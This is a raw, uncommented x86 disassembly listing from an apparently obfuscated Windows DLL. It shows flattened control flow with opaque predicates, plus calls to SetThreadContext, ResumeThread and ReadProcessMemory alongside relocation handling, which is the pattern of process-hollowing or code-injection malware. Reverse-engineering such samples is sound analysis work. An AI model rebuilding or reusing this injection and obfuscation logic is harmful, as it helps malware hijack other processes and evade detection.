mov dword [eax], ecx
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0xadc23746
sub edx, 1
sub edx, 0xadc23746
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe76e08ab
mov ecx, 0x6918576e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa3ee9e0c
mov ecx, 0x2e2cb922
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x12c], 0x17d1c4ae
jmp 0x1000bbed
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000bfb0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100181cc]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x6bb51187
jmp 0x1000bbed
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100181b0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100181ac]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100181a8]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xa9d298c2
jmp 0x1000bbed
mov dword [ebp - 0x12c], 0x44eeb81d
jmp 0x1000bbed
mov dword [ebp - 0x12c], 0x8e0ec90b
jmp 0x1000bbed
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov edx, dword [eax]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xb4]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xac]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x12c], 0x5c90e7b4
jmp 0x1000bbed
mov dword [ebp - 0x12c], 0x2e2cb922
jmp 0x1000bbed
jmp 0x10003207